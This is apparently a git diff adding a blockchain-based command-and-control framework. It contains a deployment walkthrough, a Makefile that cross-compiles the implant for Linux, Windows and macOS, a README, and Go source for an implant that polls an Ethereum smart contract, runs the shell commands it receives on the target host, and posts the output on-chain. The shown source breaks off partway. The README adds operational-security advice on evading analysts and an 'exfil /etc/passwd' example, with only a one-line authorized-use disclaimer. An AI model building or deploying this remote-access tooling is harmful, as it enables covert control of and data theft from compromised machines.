||||||
|
forge create \
|
||||||
|
--rpc-url https://sepolia.infura.io/v3/YOUR_KEY \
|
||||||
|
--private-key YOUR_PRIVATE_KEY \
|
||||||
|
--constructor-args 0x0000000000000000000000000000000000000000 \
|
||||||
|
contracts/C2Controller.sol:C2Controller
|
||||||
|
|
||||||
|
# Output:
|
||||||
|
# Deployed to: 0x...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Method C: Remix IDE (Browser — No Toolchain Needed)
|
||||||
|
|
||||||
|
1. Go to [remix.ethereum.org](https://remix.ethereum.org)
|
||||||
|
2. Create `C2Controller.sol` file → paste contract source
|
||||||
|
3. Install plugin: Solidity Compiler → compile `C2Controller`
|
||||||
|
4. Install plugin: Deploy & Run Transactions
|
||||||
|
5. Environment: **Injected Provider** (MetaMask)
|
||||||
|
6. Contract: `C2Controller`
|
||||||
|
7. Deploy with constructor arg: `0x0000000000000000000000000000000000000000` (or an operator address)
|
||||||
|
8. Confirm MetaMask tx
|
||||||
|
9. Copy deployed contract address
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Run the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build the client
|
||||||
|
make build-client
|
||||||
|
|
||||||
|
# Run
|
||||||
|
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
|
||||||
|
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT
|
||||||
|
export PRIVATE_KEY=0xIMPLANT_WALLET_KEY
|
||||||
|
|
||||||
|
./bin/client --interval 10 --jitter 3
|
||||||
|
```
|
||||||
|
|
||||||
|
**Note:** The implant needs its own wallet with a small amount of testnet ETH to submit results. You can reuse the deploy wallet or create a new one and fund it from the faucet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Issue a Command
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Get the implant ID from the client output:
|
||||||
|
# "[+] C2 Blockchain Implant"
|
||||||
|
# Implant ID: 0xabc123...
|
||||||
|
|
||||||
|
./bin/server exec \
|
||||||
|
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||||
|
0xOPERATOR_PRIVATE_KEY \
|
||||||
|
0xCONTRACT_ADDRESS \
|
||||||
|
abc123... \
|
||||||
|
"whoami"
|
||||||
|
|
||||||
|
# The implant will pick it up on the next poll (~10-15s) and submit the result.
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Read Results
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Read last 10 results
|
||||||
|
./bin/server results \
|
||||||
|
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||||
|
0xCONTRACT_ADDRESS \
|
||||||
|
--limit 10
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cost Estimates
|
||||||
|
|
||||||
|
| Action | Testnet (Sepolia) | Mainnet L2 (Arbitrum/Optimism) | Ethereum L1 |
|
||||||
|
|--------|-------------------|--------------------------------|-------------|
|
||||||
|
| Deploy | **Free** (faucet) | ~$0.005 | ~$20–200 |
|
||||||
|
| issueCommand | **Free** | ~$0.001 | ~$3–15 |
|
||||||
|
| submitResult | **Free** | ~$0.001 | ~$3–15 |
|
||||||
|
| getCommand | **Free** | **Free** (view) | **Free** |
|
||||||
|
| getActiveCommands | **Free** | **Free** | **Free** |
|
||||||
|
|
||||||
|
**All read operations are always free.** Only writes (deploy, issueCommand, submitResult, add-op) cost gas.
|
||||||
|
|
||||||
|
For production persistence at minimal cost, deploy on Arbitrum or Optimism where commands cost <$0.01 each.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Contract Verification
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Verify on Sepolia Etherscan
|
||||||
|
forge verify-contract \
|
||||||
|
--chain sepolia \
|
||||||
|
--etherscan-api-key YOUR_API_KEY \
|
||||||
|
0xCONTRACT_ADDRESS \
|
||||||
|
contracts/C2Controller.sol:C2Controller \
|
||||||
|
--constructor-args $(cast abi-encode "constructor(address)" 0x0000...)
|
||||||
|
```
|
||||||
|
|
||||||
|
Get an Etherscan API key at [etherscan.io](https://etherscan.io) (free).
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
.PHONY: all build-server build-client clean forge-build
|
||||||
|
|
||||||
|
# Default: compile both Go binaries
|
||||||
|
all: build-server build-client
|
||||||
|
|
||||||
|
build-server:
|
||||||
|
go build -o bin/server ./cmd/server/
|
||||||
|
|
||||||
|
build-client:
|
||||||
|
go build -o bin/client ./cmd/client/
|
||||||
|
|
||||||
|
# Build for common targets
|
||||||
|
build-client-linux-amd64:
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o bin/client-linux-amd64 ./cmd/client/
|
||||||
|
|
||||||
|
build-client-linux-arm64:
|
||||||
|
GOOS=linux GOARCH=arm64 go build -o bin/client-linux-arm64 ./cmd/client/
|
||||||
|
|
||||||
|
build-client-windows-amd64:
|
||||||
|
GOOS=windows GOARCH=amd64 go build -o bin/client-windows-amd64.exe ./cmd/client/
|
||||||
|
|
||||||
|
build-client-darwin-amd64:
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o bin/client-darwin-amd64 ./cmd/client/
|
||||||
|
|
||||||
|
# Compile Solidity with Foundry
|
||||||
|
forge-build:
|
||||||
|
forge build --contracts contracts/ --out out/
|
||||||
|
|
||||||
|
# Extract ABI and bytecode for embedding
|
||||||
|
abi-export:
|
||||||
|
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||||
|
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||||
|
|
||||||
|
# Tidy Go modules
|
||||||
|
tidy:
|
||||||
|
go mod tidy
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf bin/ out/
|
||||||
@@ -0,0 +1,219 @@
|
|||||||
|
# C2 via Blockchain Smart Contract 🖤
|
||||||
|
|
||||||
|
**A command-and-control framework that uses Ethereum/BSC smart contracts as the C2 channel. No dedicated server needed — just a blockchain RPC endpoint.**
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────┐ ┌──────────────────┐ ┌─────────────┐
|
||||||
|
│ Operator │────▶│ Smart Contract │◀────│ Implant │
|
||||||
|
│ (server) │ │ (C2Controller) │ │ (client) │
|
||||||
|
│ │ │ │ │ │
|
||||||
|
│ issues cmd │ │ commands + │ │ polls cmd │
|
||||||
|
│ via tx │ │ results stored │ │ via RPC │
|
||||||
|
│ │ │ on-chain │ │ (free) │
|
||||||
|
│ │ │ │ │ executes │
|
||||||
|
│ │ │ │ │ submits │
|
||||||
|
│ │ │ │ │ result (tx)│
|
||||||
|
└─────────────┘ └──────────────────┘ └─────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
**Reads are free (no gas).** Implants poll commands via `eth_call` — entirely free. Only writes (issuing commands, submitting results) consume gas.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
### Smart Contract (`contracts/C2Controller.sol`)
|
||||||
|
|
||||||
|
Solidity ^0.8 contract using OpenZeppelin's `Ownable`:
|
||||||
|
|
||||||
|
- **`issueCommand(implantID, command)`** — Issue a command to a specific implant
|
||||||
|
- **`getCommand(implantID, commandID)`** — Read a command (free, `view`)
|
||||||
|
- **`getActiveCommands(implantID)`** — List all pending command IDs (free)
|
||||||
|
- **`getLatestCommand(implantID)`** — Get the most recent command (free)
|
||||||
|
- **`submitResult(implantID, commandID, result)`** — Submit execution output
|
||||||
|
- **`getResult(resultID)`** — Read a submitted result (free)
|
||||||
|
- **`setOperator(address, bool)`** — Manage operator accounts (owner only)
|
||||||
|
|
||||||
|
Events: `CommandIssued`, `ResultSubmitted`, `OperatorUpdated`
|
||||||
|
|
||||||
|
### Server (`cmd/server/main.go`)
|
||||||
|
|
||||||
|
Operator-side CLI tool. Commands:
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `deploy` | Deploy the contract to any EVM chain |
|
||||||
|
| `exec` | Issue a command to an implant |
|
||||||
|
| `results` | Read submitted results |
|
||||||
|
| `add-op` | Add a new operator account |
|
||||||
|
| `watch` | Live-tail events from the contract |
|
||||||
|
|
||||||
|
### Client (`cmd/client/main.go`)
|
||||||
|
|
||||||
|
Implant that runs on the target system. Features:
|
||||||
|
|
||||||
|
- Polls for commands via free RPC calls
|
||||||
|
- Jittered polling (configurable interval + jitter)
|
||||||
|
- Executes commands via shell (`/bin/sh -c` or `powershell.exe`)
|
||||||
|
- Submits results to the blockchain
|
||||||
|
- Tracks seen commands to avoid re-execution
|
||||||
|
- Graceful shutdown on SIGINT/SIGTERM
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### Prerequisites
|
||||||
|
|
||||||
|
- Go 1.26+
|
||||||
|
- A [free Infura or Alchemy account](DEPLOYMENT_WALKTHROUGH.md#3-get-an-rpc-endpoint) for RPC access
|
||||||
|
- A [wallet with testnet ETH](DEPLOYMENT_WALKTHROUGH.md#2-get-free-testnet-eth) (for writes)
|
||||||
|
- [Foundry](https://book.getfoundry.sh/) (optional — for compiling Solidity)
|
||||||
|
|
||||||
|
### 1. Clone & Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone ... c2-blockchain-contract
|
||||||
|
cd c2-blockchain-contract
|
||||||
|
|
||||||
|
# Build both binaries
|
||||||
|
make build-server
|
||||||
|
make build-client
|
||||||
|
|
||||||
|
# Or build individually
|
||||||
|
go build -o bin/server ./cmd/server/
|
||||||
|
go build -o bin/client ./cmd/client/
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Deploy the Contract
|
||||||
|
|
||||||
|
See full walkthrough in [DEPLOYMENT_WALKTHROUGH.md](DEPLOYMENT_WALKTHROUGH.md).
|
||||||
|
|
||||||
|
Short version:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Compile with Foundry & export ABI/bytecode
|
||||||
|
forge build
|
||||||
|
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||||
|
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||||
|
|
||||||
|
# Embed the bytecode (update cmd/server/main.go)
|
||||||
|
# Then build and deploy
|
||||||
|
./bin/server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xYOUR_PRIVATE_KEY
|
||||||
|
```
|
||||||
|
|
||||||
|
Or use Remix IDE in a browser — no toolchain needed.
|
||||||
|
|
||||||
|
### 3. Run the Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
|
||||||
|
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT_ADDRESS
|
||||||
|
export PRIVATE_KEY=0xIMPLANT_WALLET_PRIVATE_KEY
|
||||||
|
|
||||||
|
./bin/client --interval 15 --jitter 5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Issue Commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/server exec \
|
||||||
|
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||||
|
0xOPERATOR_KEY \
|
||||||
|
0xCONTRACT_ADDRESS \
|
||||||
|
$(echo -n implant-id | xxd -p -c 64) \
|
||||||
|
"whoami"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Read Results
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/server results https://sepolia.infura.io/v3/YOUR_KEY 0xCONTRACT_ADDRESS --limit 10
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
### Environment Variables
|
||||||
|
|
||||||
|
| Variable | Purpose | Example |
|
||||||
|
|----------|---------|---------|
|
||||||
|
| `ETH_RPC_URL` | RPC endpoint | `https://sepolia.infura.io/v3/abc` |
|
||||||
|
| `CONTRACT_ADDR` | Deployed contract | `0x1234567890abcdef...` |
|
||||||
|
| `PRIVATE_KEY` | Wallet private key | `0xdeadbeefcafe...` |
|
||||||
|
|
||||||
|
### Client Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|------|---------|-------------|
|
||||||
|
| `--interval` | 15s | Poll interval |
|
||||||
|
| `--jitter` | 5s | Random jitter added to interval |
|
||||||
|
| `--rpc` | env | RPC URL override |
|
||||||
|
| `--contract` | env | Contract address override |
|
||||||
|
| `--key` | env | Private key override |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## OpSec Considerations
|
||||||
|
|
||||||
|
- **Everything on-chain is public.** Commands and results are visible to anyone reading the contract. Encrypt payloads if secrecy is needed (e.g., base64 + XOR, or AEAD before submission).
|
||||||
|
- **Anyone can submit results** for any command. The implant authenticates by having the wallet private key, but the contract doesn't enforce which address submits a result.
|
||||||
|
- **Implant ID is a hash** of `hostname|username|mac|arch`. This is deterministic but not secret. An analyst can see which hosts are calling in.
|
||||||
|
- **Gas costs** for result submission reveal the implant's wallet address. Consider using an ephemeral wallet per session.
|
||||||
|
- **The operator wallet** has control. Use a dedicated wallet, not your main one.
|
||||||
|
|
||||||
|
### Encryption (Recommended for Sensitive Ops)
|
||||||
|
|
||||||
|
Before calling `issueCommand`, encrypt your payload:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Encrypt command
|
||||||
|
echo "exfil /etc/passwd" | openssl enc -aes-256-cbc -pass pass:sharedsecret -a
|
||||||
|
|
||||||
|
# Decrypt on implant (via shell pipeline)
|
||||||
|
# The implant sees the encrypted blob, pipes it through openssl
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cross-Compilation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Linux amd64 (most common for C2 infrastructure)
|
||||||
|
make build-client-linux-amd64
|
||||||
|
|
||||||
|
# ARM64 (Raspberry Pi, cloud ARM instances)
|
||||||
|
make build-client-linux-arm64
|
||||||
|
|
||||||
|
# Windows
|
||||||
|
make build-client-windows-amd64
|
||||||
|
|
||||||
|
# macOS
|
||||||
|
make build-client-darwin-amd64
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## File Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
c2-blockchain-contract/
|
||||||
|
├── contracts/
|
||||||
|
│ └── C2Controller.sol # Solidity smart contract
|
||||||
|
├── cmd/
|
||||||
|
│ ├── server/
|
||||||
|
│ │ └── main.go # Operator CLI tool
|
||||||
|
│ └── client/
|
||||||
|
│ └── main.go # Implant binary
|
||||||
|
├── DEPLOYMENT_WALKTHROUGH.md # End-to-end deployment guide
|
||||||
|
├── README.md # This file
|
||||||
|
├── Makefile # Build automation
|
||||||
|
└── go.mod # Go module definition
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,416 @@
|
|||||||
|
// Command client is the implant that runs on target systems. It polls the
|
||||||
|
// blockchain for commands, executes them, and submits results.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"math/big"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"os/user"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/ethereum/go-ethereum"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi/bind"
|
||||||
|
"github.com/ethereum/go-ethereum/common"
|
||||||
|
"github.com/ethereum/go-ethereum/core/types"
|
||||||
|
"github.com/ethereum/go-ethereum/crypto"
|
||||||
|
"github.com/ethereum/go-ethereum/ethclient"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Embedded ABI (same as server)
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
const contractABIJSON = `[
|
||||||
|
{"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"},
|
||||||
|
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||||
|
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"}
|
||||||
|
]`
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Defaults
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultPollInterval = 15 // seconds
|
||||||
|
defaultJitter = 5 // seconds
|
||||||
|
defaultExecTimeout = 60 // seconds per command
|
||||||
|
)
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Main
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
rpcURL := os.Getenv("ETH_RPC_URL")
|
||||||
|
contractAddrStr := os.Getenv("CONTRACT_ADDR")
|
||||||
|
pkHex := os.Getenv("PRIVATE_KEY")
|
||||||
|
|
||||||
|
pollInterval := defaultPollInterval
|
||||||
|
jitter := defaultJitter
|
||||||
|
|
||||||
|
// CLI args override env
|
||||||
|
args := os.Args[1:]
|
||||||
|
for i := 0; i < len(args); i++ {
|
||||||
|
switch args[i] {
|
||||||
|
case "--rpc":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
rpcURL = args[i]
|
||||||
|
}
|
||||||
|
case "--contract":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
contractAddrStr = args[i]
|
||||||
|
}
|
||||||
|
case "--key":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
pkHex = args[i]
|
||||||
|
}
|
||||||
|
case "--interval":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
fmt.Sscanf(args[i], "%d", &pollInterval)
|
||||||
|
}
|
||||||
|
case "--jitter":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
i++
|
||||||
|
fmt.Sscanf(args[i], "%d", &jitter)
|
||||||
|
}
|
||||||
|
case "--help", "-h":
|
||||||
|
printHelp()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if rpcURL == "" || contractAddrStr == "" || pkHex == "" {
|
||||||
|
fmt.Fprintln(os.Stderr, "Missing required config. Set ETH_RPC_URL, CONTRACT_ADDR, PRIVATE_KEY, or use --rpc, --contract, --key.")
|
||||||
|
printHelp()
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
contractAddr := common.HexToAddress(contractAddrStr)
|
||||||
|
|
||||||
|
// Derive implant ID from something unique but reproducible
|
||||||
|
implantID := deriveImplantID()
|
||||||
|
|
||||||
|
fmt.Printf("[+] C2 Blockchain Implant\n")
|
||||||
|
fmt.Printf(" Implant ID: 0x%x\n", implantID)
|
||||||
|
fmt.Printf(" RPC: %s\n", rpcURL)
|
||||||
|
fmt.Printf(" Contract: %s\n", contractAddr.Hex())
|
||||||
|
fmt.Printf(" Poll: %ds ±%ds\n", pollInterval, jitter)
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] RPC dial error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI, err := abi.JSON(strings.NewReader(contractABIJSON))
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] ABI parse error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x"))
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] Private key error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
chainID, err := client.NetworkID(nil)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] Chain ID error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] Transactor error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Track seen command IDs to avoid re-execution
|
||||||
|
seen := make(map[[32]byte]bool)
|
||||||
|
|
||||||
|
// Handle graceful shutdown
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
fmt.Println("[*] Listening for commands (Ctrl+C to stop)...")
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-sigCh:
|
||||||
|
fmt.Println("\n[*] Shutting down.")
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
err := pollCommands(client, parsedABI, contractAddr, implantID, auth, seen)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] Poll error: %v\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Jittered sleep
|
||||||
|
sleep := pollInterval
|
||||||
|
if jitter > 0 {
|
||||||
|
sleep += int(randInt64n(int64(jitter*2+1))) - jitter
|
||||||
|
}
|
||||||
|
if sleep < 1 {
|
||||||
|
sleep = 1
|
||||||
|
}
|
||||||
|
time.Sleep(time.Duration(sleep) * time.Second)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func printHelp() {
|
||||||
|
fmt.Println(`Usage: client [flags]
|
||||||
|
|
||||||
|
Flags:
|
||||||
|
--rpc <url> Ethereum RPC URL (or ETH_RPC_URL)
|
||||||
|
--contract <addr> Contract address (or CONTRACT_ADDR)
|
||||||
|
--key <hex> Private key for result submission (or PRIVATE_KEY)
|
||||||
|
--interval <sec> Poll interval in seconds (default 15)
|
||||||
|
--jitter <sec> Jitter range in seconds (default 5)
|
||||||
|
--help, -h Show this help
|
||||||
|
|
||||||
|
The implant polls the contract for commands, executes them, and submits results.
|
||||||
|
Read operations are free (no gas). Submitting results requires a wallet with gas.`)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Implant ID derivation
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func deriveImplantID() [32]byte {
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
u, _ := user.Current()
|
||||||
|
mac := getMAC()
|
||||||
|
|
||||||
|
raw := fmt.Sprintf("%s|%s|%s|%d", hostname, u.Username, mac, runtime.GOARCH)
|
||||||
|
hash := crypto.Keccak256Hash([]byte(raw))
|
||||||
|
var id [32]byte
|
||||||
|
copy(id[:], hash.Bytes())
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Poll & Execute
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func pollCommands(
|
||||||
|
client *ethclient.Client,
|
||||||
|
parsedABI abi.ABI,
|
||||||
|
contractAddr common.Address,
|
||||||
|
implantID [32]byte,
|
||||||
|
auth *bind.TransactOpts,
|
||||||
|
seen map[[32]byte]bool,
|
||||||
|
) error {
|
||||||
|
// Method 1: getActiveCommands (view, free)
|
||||||
|
cmdIDs := getActiveCommandIDs(client, parsedABI, contractAddr, implantID)
|
||||||
|
if len(cmdIDs) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, cmdID := range cmdIDs {
|
||||||
|
if seen[cmdID] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// getCommand (view, free)
|
||||||
|
cmdStr, err := getCommandStr(client, parsedABI, contractAddr, implantID, cmdID)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] getCommand error: %v\n", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if cmdStr == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("[!] Executing command: %s\n", cmdStr)
|
||||||
|
output, err := executeCommand(cmdStr)
|
||||||
|
if err != nil {
|
||||||
|
output = fmt.Sprintf("ERROR: %v\n%s", err, output)
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] Output (%d bytes)\n", len(output))
|
||||||
|
|
||||||
|
// Submit result (needs gas)
|
||||||
|
txHash, err := submitResult(client, parsedABI, contractAddr, auth, implantID, cmdID, output)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "[-] submitResult error: %v\n", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] Result submitted: %s\n", txHash.Hash().Hex())
|
||||||
|
|
||||||
|
seen[cmdID] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Blockchain interaction helpers
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
func getActiveCommandIDs(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID [32]byte) [][32]byte {
|
||||||
|
data, err := parsedABI.Pack("getActiveCommands", implantID)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unpack the dynamic array
|
||||||
|
var ids [][32]byte
|
||||||
|
if err := parsedABI.UnpackIntoInterface(&ids, "getActiveCommands", resp); err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return ids
|
||||||
|
}
|
||||||
|
|
||||||
|
func getCommandStr(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID, cmdID [32]byte) (string, error) {
|
||||||
|
data, err := parsedABI.Pack("getCommand", implantID, cmdID)
|
||||||
|
